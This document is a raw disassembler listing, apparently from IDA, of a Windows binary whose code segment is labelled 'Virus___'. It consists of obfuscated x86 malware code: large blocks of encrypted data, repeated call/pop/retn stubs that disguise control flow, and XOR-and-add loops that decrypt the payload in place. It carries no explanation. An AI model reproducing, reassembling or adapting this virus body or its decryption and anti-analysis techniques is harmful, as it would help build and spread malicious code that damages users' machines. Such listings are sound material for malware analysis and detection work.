		dd 0E7EB0E66h, 0B886894Ch, 0F000000h, 0C8Dh, 6860F00h
		dd 8B000000h, 5D053D9Dh, 8A006A09h, 64B5FFDEh, 6A0960A5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 936AC350h, 3326198Dh, 0BFE1FFA7h,	57DC2F75h
		dd 14C995FFh, 0E850095Dh, 10h, 39E5D911h, 0D9374A93h, 3F19D413h
		dd 8C0FE0BDh, 13E8h, 0E678A600h, 0EEABDE39h, 19ED44EFh
		dd 572F3DC6h, 260F9A18h, 8F65BB66h, 34895F5Bh, 0D19D0924h
		dd 0FF095D32h, 60A564B5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 7D95FFA2h
		dd 6A095D13h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 784BC352h, 0BA9BD8Bh, 0BD83095Dh
		dd 95D19D1h, 5E840F00h,	0B000000h, 5D0365BDh, 5840F09h
		dd 0BF000000h, 13028A26h, 50D98B96h, 0EE4EBB60h, 66506157h
		dd 615FF08Bh, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 242C214Eh, 0C94B32C4h, 8B509D40h
		dd 5D04C9BDh, 0AE95B09h, 0AA000000h, 0E6DCBF94h, 0E59D9195h
		dd 64B5FFA5h, 6A0960A5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 5BD1C353h, 0C2E5E8D8h
		dd 89A6C04Ah, 5D27ADB5h, 0F7816609h, 95FFE2F0h,	95D2F95h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 56C35141h
		dd 0DA96EADEh, 6636BB74h, 0B2F9EB81h, 0A564B5FFh, 29600960h
		dd 5D13DDBDh, 858D8B09h, 61095D29h, 179595FFh, 6A095Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F0C21BC3h, 0B11BD83h, 0F02095Dh, 5084h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0D99F92FFh, 35D583ABh, 8BF98BE9h, 5D221585h,	57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0D88A132Eh, 560000C6h, 4585C75Fh, 95D05h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 3F4BC351h, 0ED8589FFh
		db 26h,	5Dh, 9
; ---------------------------------------------------------------------------


loc_5B0CD7:				; CODE XREF: Virus___:005B0873j
					; Virus___:005B089Dj
		jmp	near ptr dword_5AFF18+35h
; ---------------------------------------------------------------------------
		dd 0EE8h, 0EFF48500h, 0F0D3472Ah, 0BFD70EDAh, 0BFAE46B9h
		dd 2D6DF29Ch, 6AC18B5Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0D57CC353h,	8483CCC8h
		dd 6E9h, 2CD34300h, 0E966E0DEh,	29h, 50B58EEEh,	9 dup(0)
		dd 5EBE900h, 0C6980000h, 0B2B11D96h, 0BC8529A2h, 0A9BB179Ch
		dd 0B58E22A9h, 206E2EA5h, 5BD080C3h, 64EF6FF7h,	57DC7CC8h
		dd 65EE6EFBh, 86980B42h, 0FA30F6EBh, 0ABBE6CC8h, 0FE41EDABh
		dd 0EC79D55Eh, 0C3862A6Ch, 0EE76DA93h, 93D286Eh, 0A864E34Fh
		dd 584DE73Bh, 0E04C593Ah, 0ADE4F161h, 4DAB77E4h, 153A58h
		dd 7F037234h, 7891D4E3h, 382D6BEBh, 3E0AA62Dh, 95DC951Eh
		dd 0C3EBA40Ah, 0C556CD19h, 3A578C39h, 0A17DEEA7h, 1F3A578Ch
		dd 872B1F0Ah, 7BD791C1h, 812D6BEBh, 75D99FBFh, 392C6AEAh
		dd 9D00CA95h, 0F467DA47h, 28591F0Ah, 21460A54h,	72F6015Dh
		dd 80C569E2h, 0C086D669h, 0C284D46Ch, 188BC2D7h, 3A57A406h
		dd 337A6F7Ah, 0A315E97Ah, 9E8B3A57h, 0A07FECAAh, 0DE3A57A3h
		dd 98F9A0A2h, 0B1B483BAh, 0AF976BF8h, 1C093A57h, 6E0D28h
		dd 5BA90000h, 0D9ED6DF7h, 2960F075h, 4D2FF360h,	84913A58h
		dd 9765F6B0h, 0C73A584Dh, 3222228Eh, 0CC8CD874h, 6CEC75D9h
		dd 770B3F2Ah, 0CC9539EBh, 0A3E4B88Ch, 0C2B48310h, 1, 0A9A9BE66h
		dd 3D0AA6EFh, 7A4E5B1Dh, 88C191D6h, 83C1C24h, 4B62E24Eh
		dd 91C5AFAh, 622B5A1Ch,	0D2E676CEh, 3E0594AEh, 2C39951Eh
		dd 0C88ECE95h, 0E743C8DDh, 0D296C45Bh, 83F05C5Dh, 669B925Ch
		dd 2A1E0B02h, 0DB9DBD86h, 2660F077h, 5F74B37h, 0F464E04Ch
		dd 0EA34A7B2h, 563A57DDh, 10D2D1C9h, 0C19C484h,	8BCB9438h
		dd 0B999AC00h, 0FB1253FFh, 0BFAAEC6Ch, 140ECAAh, 0A9BB1751h
		dd 82FEEFA9h, 750990C0h, 0D7A43BE9h, 0A2CD5C7Eh, 5FD08CB8h
		dd 86B48346h, 8Ch, 0B5A5BE22h, 0DC26B5FCh, 443A584Dh, 8F236551h
		dd 91E0A6B6h, 0FD4651EDh, 0E97AD65Dh, 0F9662F69h, 8821823h
		dd 46F96FF9h, 4AEDDBFCh, 7DC76B5Fh, 2C379BDDh, 0AD1FE370h
		dd 94813A57h, 0DB6BC781h, 0AD6AB427h, 0C3D63A57h, 453990D6h
		dd 0B2CE57F9h, 0AE98E9B0h, 5FDDB483h, 79000000h, 0FCB5A5BEh
		dd 97522063h, 5A6E9591h, 54CA551Ch, 2DB793B9h, 3F1DCDEh
		dd 2D384C43h, 0AFAFB519h, 223C40E9h, 8F06CC97h,	272FE03Dh
		dd 34901B0Eh, 0EFA9A9BEh, 1C3C0AA6h, 4D64BB28h,	661A3A58h
		dd 0C18428DCh, 0B74BD891h, 293A584Dh, 0F354083Ch, 72B4830Fh
		dd 6, 82D2973Bh, 0A7BE12B6h, 85DF1B7h, 20690E48h, 0B26E4BBFh
		dd 9ED7E8FAh, 574FF10Dh, 4E7A6F3Ah, 0C8993032h,	34A0388h
		dd 331ACC9Ch, 990A5835h, 3A57FE85h, 5471EEFBh, 2C5FA315h
		dd 8433685Ch, 0DA485BABh, 390B86DFh, 5F4A5F19h,	0E64A034Ah
		dd 0A0B5F363h, 11100794h, 2E673333h, 0FB1A61BDh, 0FECADF30h
		dd 67CB8D98h, 0B0F972E2h, 4F0F55F9h, 738F1C09h,	0ED30FB1Ah
		dd 0E560CCF8h, 5DA33C75h, 819D0E5Dh, 0FF30FA88h, 2C4075EAh
		dd 0FC6F291Dh, 30FABA20h, 80172B57h, 43DC95C5h,	7EE2F013h
		dd 5BFB4ABBh, 5DF17A4Eh, 0A20E4808h, 5DF1B7A7h,	0B984D802h
		dd 9A53463h, 6DF65A1Ch,	115B9E67h, 889DCD00h, 9FA3DFCEh
		dd 5A1C3C08h, 374B5A4Fh, 8BD5792Bh, 0AC988DCBh,	9E154500h
		dd 0E0D47DC2h, 135F8BDh, 495C0000h, 0BD2E674Ah,	33332BDEh
		dd 4F064F5Ah, 0FB1E42DCh, 9FABBE30h, 243C90D9h,	99AC0034h
		dd 646FF0B9h, 0E0DC4BBAh, 672EA591h, 0BC1B57F8h, 0B01C9B31h
		dd 0F1E4A2B2h, 0C5DC69C5h, 889DDB7Bh, 0F277DB9Dh, 49352462h
		dd 0DD4E07F5h, 30FB4241h, 42FF0390h, 746130FBh,	9F330712h
		dd 5D018ACAh, 0BDE01AFCh, 3879h, 4F49DD00h, 0DC86155Ch
		dd 488915Bh, 0B2C75811h, 0B42E45B4h, 627E8013h,	0F7E2BA58h
		dd 390D6E2h, 0BA5862FFh, 35D56915h, 0FA692083h,	8917088h
		dd 0F2E66D78h, 97h, 70F75B56h, 66F64CE0h, 5A013520h, 90034A5Dh
		dd 33333D13h, 889A0940h, 0F830FB3Dh, 3DE022B1h,	554030FBh
		dd 9198DF40h, 0FC5227Fh, 0E485D3Bh, 3CB7A7A2h, 0CC8CD975h
		dd 3E1E268Ah, 0B6B31F2Bh, 443EFA6h, 0B5266054h,	30FAF4D4h
		dd 34C39FE3h, 0F1AA2131h, 0AA6EFC2h, 622B1F3Fh,	999591F1h
		dd 82C36F29h, 0B5024E58h, 283DDF60h, 276E7B6Eh,	621FD6Eh
		dd 8A9F3A1Ch, 1154F8BEh, 29600741h, 9C283BB6h, 5F6B3A7Ah
		dd 387F1F23h, 0B7AF3C75h, 3132BA41h, 490BAF24h,	56A83B4Ah
		dd 0CA3A584Dh, 1083CADFh, 32F6EE72h, 0CA54C78Eh, 3630F6ECh
		dd 39703623h, 0C680D095h, 74E47FD3h, 0BF132732h, 15113AAh
		dd 819D0E47h, 0FF30F6ECh, 61EAFFEAh, 9ED878CDh,	4B12D10Dh
		dd 0DC7CC559h, 0AD7C059Ah, 0A0E5CBF3h, 6224340Ch, 42320C70h
		dd 0A2D44DD1h, 0B3A6B3E9h, 1D278BC2h, 0D791C184h, 8491D7C2h
		dd 6772CCB0h, 0B0F972E2h, 0A408481Ch, 2985B1A1h, 0D67A3C1Ch
		dd 1887CE8Eh, 95D7A36h,	84E7A80h, 5D4F136Fh, 0A5E373F1h
		dd 1D2884B0h, 60FFB63Dh, 54871630h, 89251178h, 0BC9316BCh
		dd 58FDDDE4h, 9AA8044Dh, 0DDE9FCBAh, 38F9Bh, 412B0000h
		dd 0B4A4BEE5h, 4B0B5EF2h, 0B3A3A10Dh, 490959F5h, 0B0A0A30Fh
		dd 49095AF6h, 0B1A1A30Fh, 4A0A5BF7h, 0B3A3A00Ch, 8C68D8F5h
		dd 8900001Fh, 20682404h, 8900007Dh, 0BB682404h,	89000036h
		dd 0EC812434h, 4, 0BA241489h, 39D3580h,	0FC57A6B8h, 5AD0310Ah
		dd 8904EC83h, 4812424h,	424h, 53515E00h, 0AB7EE8BBh, 7EE0B93Ch
		dd 0D9313CABh, 89F1015Bh, 348B5901h, 0E0895024h, 405h
		dd 40500h, 4870000h, 34FF5C24h,	0C4835824h, 167DE904h
		dd 100CFFFCh, 95B34634h, 6B19E8FCh, 0EF6937DAh,	6792B889h
		dd 0C5030961h, 46FAE0FFh, 0CE296236h, 687C63F9h, 604D2321h
		dd 0E4E40FA9h, 2C493265h, 8EFA757Dh, 0A6415C5Ch, 49157AB7h
		dd 0D98100F3h, 9B875997h, 771964C4h, 0DC3870D5h, 6988232Ch
		dd 6FBE50C2h, 4AF91E86h, 0C886EFDh, 78A94E62h, 57C368ECh
		dd 8A285BECh, 0CD7C72F5h, 6F4247FCh, 52ED4747h,	77972392h
		dd 71EF2728h, 11B74EE0h, 0CB35315Dh, 0EB531CEDh, 858D43DDh
		dd 95D2239h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	5BC35141h, 0FDE8A62h, 683h, 5FE38100h, 5068161Fh
		dd 0B7525060h, 0F310F60h, 8Eh, 0F585A00h, 284h,	6192B600h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 2FEC351h, 2F7C780h, 2195897Fh
		dd 6A095D12h, 0FA8B6600h, 3199BD89h, 6A095Dh, 2BB19D33h
		dd 858D095Dh, 9616AAAh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 6FC35646h, 3AE4A8A9h,	1CF20108h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0C069C357h, 0F02B2CFh, 0BF50D9B7h, 7EEEFD3Fh
		dd 60240489h, 6A6192B4h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 9036D61h, 5D0C1DB5h, 0ED8D2909h
		dd 6A095D25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 74739E56h, 0B5092F52h, 95D0669h
		dd 85195FFh, 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 507F58C3h, 6DF9CF81h, 605F74F9h
		dd 318D8589h, 800F095Dh, 2, 8D616160h, 60914C8Dh, 0CE909h
		dd 8B860000h, 48BB7C5h,	4A22DF66h, 0D1FF1820h, 0E857006Ah
		dd 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0A5C35747h, 60E2D339h
		dd 13398D8Bh, 852B095Dh, 95D26DDh, 9DBD3161h, 83095D2Bh
		dd 5D0971BDh, 850F0109h, 52h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 5C35242h, 0FA8B669Fh, 6A026Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F84285C3h, 89F98B50h, 0C3802404h, 0C995FFD8h, 0F095D14h
		dd 10E9FEBFh, 0E800000Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 9616AB4h
		mov	ebx, [ebp+95D18ADh]
		push	0
		push	esi
		call	sub_5B15FC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B15FC	proc near		; CODE XREF: Virus___:005B15F4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5B15FC	endp

; ---------------------------------------------------------------------------
		mov	ebx, 8D0F04E2h
		add	eax, 52000000h
		mov	di, bx
		pop	ebx
		mov	ebx, eax
		movsx	ebx, cx
		lea	eax, [ebp+9608AE2h]
		push	0
		push	edi
		call	sub_5B1630
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1630	proc near		; CODE XREF: Virus___:005B1628p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5B1630	endp

; ---------------------------------------------------------------------------
		dd 629C74C5h, 549A6780h, 50D98B74h, 6A240489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 1BE9C356h, 0FE9h, 0B0842B00h, 80A9379Ah, 0A2513BA4h
		dd 0EC1D594Bh, 35FF64h,	0F9000000h, 258964h, 1000000h
		dd 5D1351B5h, 6985FF09h, 9095D21h, 5D18C185h, 6AFF6A09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4B16C356h, 0E780FACDh, 8B0F60E0h,	0Dh, 8E9h
		dd 0A579D400h, 24692AF1h, 1D958923h, 61095D21h,	332DB5FFh
		dd 0BD23095Dh, 95D319Dh, 38595FFh, 62E9095Dh, 8B000001h
		dd 5D1F85BDh, 860F6009h, 3, 8BCFB70Fh, 5D17C19Dh, 0B06109h
		dd 5E59D89h, 0E6F9095Dh, 8B0F70h, 0E4000000h, 0F613C71h
		dd 13083h, 8BFE8B00h, 5D0C659Dh, 0C8B60F09h, 6BAF8h, 0BD8B0000h
		dd 95D212Dh, 0BF66C18Bh, 0E8C166CAh, 6850F04h, 89000000h
		dd 5D23C195h, 0E2F76609h, 0AE9h, 0DA4A5C00h, 0DA178970h
		dd 2BD5FF3Bh, 8B9CB7C8h, 518D89D1h, 0E9095D0Bh,	0E1h, 0FE9h
		dd 0FBBF0900h, 5679D7F8h, 2D996040h, 2DE59592h,	261D858Bh
		dd 0C083095Dh, 0C083FC07h, 0F566000h, 0E859D2BFh, 14h
		dd 0D27F99A2h, 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h
		dd 615F5951h, 0FFEF8166h, 0FD03B8Fh, 4083h, 89BD2300h
		dd 0E9095D09h, 85h, 0CE9h, 21751A00h, 7AB3FD49h, 2F0D38C4h
		dd 6E960E7h, 0D8000000h, 708C20FEh, 0FE86Bh, 289C0000h
		dd 4A84758Fh, 6FC7A872h, 6DBD9A76h, 5FFC8A47h, 5D8D8B61h
		dd 8A095D09h, 1E183DAh,	3F840Fh, 840F0000h, 6, 2AD58529h
		dd 0A583095Dh, 95D095Dh, 0EE9FEh, 46C20000h, 0F5F0B421h
		dd 0C2638E50h, 0C439DC68h, 261D9589h, 840F095Dh, 8, 7BDF8153h
		dd 5B70D542h, 0E9h, 10B58D00h, 6A0960EAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 8E41C350h
		dd 222DB589h, 6A095Dh, 29EDBD8Bh, 8B51095Dh, 5D07B1BDh
		dd 95FF5F09h, 95D11B1h,	26C99D03h, 36B9095Dh, 60000008h
		dd 26ED8D03h, 8B50095Dh, 5D19999Dh, 0BB615909h,	4CDF837Bh
		dd 6AFCE183h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 580C353h, 0FC644344h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B7C35242h, 0CE960ABh
		dd 0D6000000h, 2B078195h, 2890C753h, 61914DA3h,	0F781C02Bh
		dd 772915Fh, 0C9A40BFh,	0BA63h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 676743C3h
		dd 0AA77865Bh, 0B1B5898Eh, 0AD095D23h, 0E8D1C233h, 0E983D003h
		dd 89F47504h, 5D1EB19Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 9E657F62h, 4A3F7000h
		dd 0C319D01h, 0BD8B095Dh, 95D2135h, 880Dh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 8758E984h, 222F4276h, 19958BBAh, 6A095D09h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0AEE0C355h, 79FBEEFFh, 666DA4F2h, 0ABCEEF81h, 13498D8Bh
		dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 880FF8C3h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+95D0745h],	esi
		mov	bx, 9636h
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		movzx	edi, si
		push	0


loc_5B1A29:				; CODE XREF: Virus___:005B1A7Bj
		push	esi
		call	sub_5B1A32
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1A32	proc near		; CODE XREF: Virus___:005B1A2Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B1A32	endp

; ---------------------------------------------------------------------------
		sbb	edi, [ebx+21556E8Fh]
		test	eax, 85BD0B5Ah
		pop	es
		pop	ebp
		or	[ebx+5D3169BDh], eax
		or	[eax], eax
		jz	loc_5B1AC7
		push	0
		push	esi
		call	sub_5B1A68
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1A68	proc near		; CODE XREF: Virus___:005B1A60p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5B1A68	endp

; ---------------------------------------------------------------------------
		mov	ch, 47h
		movsb
		loopne	loc_5B1A29
		movsb
		mov	edi, eax
		mov	eax, 0
		jnp	loc_5B1A94
		jl	loc_5B1A94
		movzx	edi, ax


loc_5B1A94:				; CODE XREF: Virus___:005B1A85j
					; Virus___:005B1A8Bj
		lea	ecx, [ebp+95D4D92h]
		mov	[ebp+95D227Dh],	edi
		mov	edi, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B1AAF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1AAF	proc near		; CODE XREF: Virus___:005B1AA7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5B1AAF	endp

; ---------------------------------------------------------------------------
		inc	ebx
		cmp	ecx, [ecx]
		mov	ebp, 95D1095h


loc_5B1AC7:				; CODE XREF: Virus___:005B1A57j
		cmp	dword ptr [ebp+95D15F9h], 0
		jz	loc_5B1FB7
		push	0
		push	ecx
		call	sub_5B1ADF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1ADF	proc near		; CODE XREF: Virus___:005B1AD7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B1ADF	endp

; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------
		jmp	loc_5B1B04
; ---------------------------------------------------------------------------
		align 2
		dw 12A5h
		dd 0F6EFF0EEh, 0DB8C5928h, 0E6A80BFAh
; ---------------------------------------------------------------------------


loc_5B1B04:				; CODE XREF: Virus___:005B1AF0j
		cmp	dword ptr [ebp+95D15F9h], 1
		jz	loc_5B1FD2
		push	0
		push	edi
		call	sub_5B1B1C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1B1C	proc near		; CODE XREF: Virus___:005B1B14p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B1B1C	endp

; ---------------------------------------------------------------------------
		dd 0AC2B62C9h, 5723E0C1h, 7E94DACh, 0F1000000h,	0A058689h
		dd 0BD03D771h, 95D33B5h, 15F9BD83h, 0F03095Dh, 44786h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0B3AB022Bh, 3820F2Eh, 80000000h,	53602BF7h
		dd 65EF8166h, 8C665B79h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0B02807B8h, 8040023Eh
		dd 0BD2304E1h, 95D113Dh, 840FC90Ah, 1D5h, 0BE8h, 64D57000h
		dd 28CF16A7h, 50689648h, 4A23ABBh, 858B5F54h, 95D2C0Dh
		dd 0A68BDF81h, 85332C62h, 95D2765h, 9DB50160h, 50095D24h
		dd 21B18D23h, 615E095Dh, 12E890h, 0C45B0000h, 1CED597Bh
		dd 965903Ah, 9D24F3A0h,	576C929Ah, 3E581EBBh, 57505B05h
		dd 905FDE8Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	0EBC35242h, 0F770C889h,	7C69335h, 0E9F8B70Fh, 14h
		dd 54A55A76h, 67D05BC9h, 4015666Ah, 0A5E6ECE9h,	51BEB0A8h
		dd 10E850h, 0AD8C0000h,	3F96C9D9h, 0A02F7090h, 9AFDC6D9h
		dd 5BF95872h, 6A006A5Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 37E2C355h, 19485181h
		dd 89BD8B0Bh, 60095D32h, 168A0Fh, 10E80000h, 0B2000000h
		dd 47CD4626h, 0CE1B464Ch, 9BC9940Ch, 58D86AB9h,	27CD8509h
		dd 0E861095Dh, 4, 1F03FFh, 6E9h, 87048A00h, 5089C962h
		dd 424448Bh, 8BDA8B66h,	50525000h, 12E952h, 6E2D0000h
		dd 0B36E854Bh, 0F605BA3Dh, 22F37606h, 55D1E296h, 6160310Fh
		dd 310F585Ah, 585A29B3h, 4244489h, 58DA8B66h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DBC35040h, 49B6272Bh
		dd 65E858B4h, 0AD95FF11h, 0E8095D0Fh, 14h, 0EB1C8CECh
		dd 9BF6500Dh, 3C8384CCh, 0CE08C104h, 8FABE523h,	7BD5C7BFh
		dd 85895B2Eh, 960A564h,	26C9BD8Bh, 8CE9095Dh, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 800BC357h, 76532CB6h, 89FC1FE6h, 5D14AD95h
		dd 5C858B09h, 6A0960A5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 5060C353h, 0E3A63B03h
		dd 0F81CCB48h, 1781BD8Bh, 9589095Dh, 95D1389h, 1800C7h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 2C4A86C3h, 0FE451A87h, 2A698531h,	0B58B095Dh
		dd 960A560h, 1ED58D31h,	858B095Dh, 95D3151h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A9C35040h, 7E8C66B3h
		dd 13C697BEh, 0C719D8Bh, 689095Dh, 0D858BFCh, 6A095D2Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 6202C353h, 89F4C5F6h, 8D890446h, 95D0341h
		dd 50DF8B96h, 0EE9h, 6212D100h,	0A73FC3E6h, 0F67E948Bh
		dd 968FC029h, 18B0Fh, 0FFF50000h, 60A55CB5h, 0EF816609h
		db 66h,	44h
dword_5B1E8E	dd 0D80ECF81h	; ---------------------------------------------------------------------------
		or	eax, 89EE6826h
		or	bh, ch
		mov	bx, 0D0D0h
		add	dword ptr [esp], 3147A11h
		mov	ebx, [ebp+95D1A3Dh]
		lea	eax, [ebp+960A564h]
		and	ebx, [ebp+95D2BD9h]
		nop
		push	eax
		mov	di, 0DBABh
		nop
		push	0
		push	ecx
		call	sub_5B1EC8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1EC8	proc near		; CODE XREF: Virus___:005B1EC0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B1EC8	endp

; ---------------------------------------------------------------------------
		dd 0D18529CFh, 0F095D32h, 585h,	8AF56000h, 95FF61DAh, 95D0FADh
		dd 6119E780h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	82C35646h, 29EF095Ah, 2F51BD09h, 0EF81095Dh, 181C2E23h
		dd 15F985C7h, 3095Dh, 8E90000h,	33000000h, 6893D772h, 814C6147h
		dd 9CA5CCD7h, 64BD8310h, 960A5h, 52840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0F3299BC3h, 7E9DFh, 8C2B0000h, 0FC145B0Dh, 3DE979h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD89D5C3h, 95D233Dh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h
		db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------


loc_5B1FB7:				; CODE XREF: Virus___:005B1ACEj
					; Virus___:005B1FCEj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5B1FB7
		jmp	short loc_5B1FED
; ---------------------------------------------------------------------------


loc_5B1FD2:				; CODE XREF: Virus___:005B1B0Bj
					; Virus___:005B1FE9j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5B1FD2
		jmp	short $+2


loc_5B1FED:				; CODE XREF: Virus___:005B1FD0j
		mov	eax, eax
		xor	ebx, 39B5BA82h
		clc
		push	0
		push	eax
		call	sub_5B2001
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2001	proc near		; CODE XREF: Virus___:005B1FF9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5B2001	endp

; ---------------------------------------------------------------------------
		db 0FBh, 0CFh, 47h
; ---------------------------------------------------------------------------
		jmp	loc_5B2026
; ---------------------------------------------------------------------------
		db 18h,	45h, 0F4h
		dd 3B23E42Fh, 6EB95786h
		db 5Fh,	6Ch
; ---------------------------------------------------------------------------


loc_5B2026:				; CODE XREF: Virus___:005B2014j
		cmp	dword ptr [ebp+95D15F9h], 3
		jnz	loc_5B2486
		or	[ebp+95D2481h],	edi
		cmp	dword ptr [ebp+960A564h], 0
		jz	loc_5B2486
		push	0
		push	esi
		call	sub_5B2051
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B2051	proc near		; CODE XREF: Virus___:005B2049p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5B2051	endp

; ---------------------------------------------------------------------------
		db 65h,	19h, 0CEh
		dd 0E8480A62h, 0BD8B7775h, 95D2779h, 0FFFA8B66h, 60A564B5h
		dd 56006A09h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 1060BBECh, 95FF619Bh, 95D0A41h, 291DBD8Bh
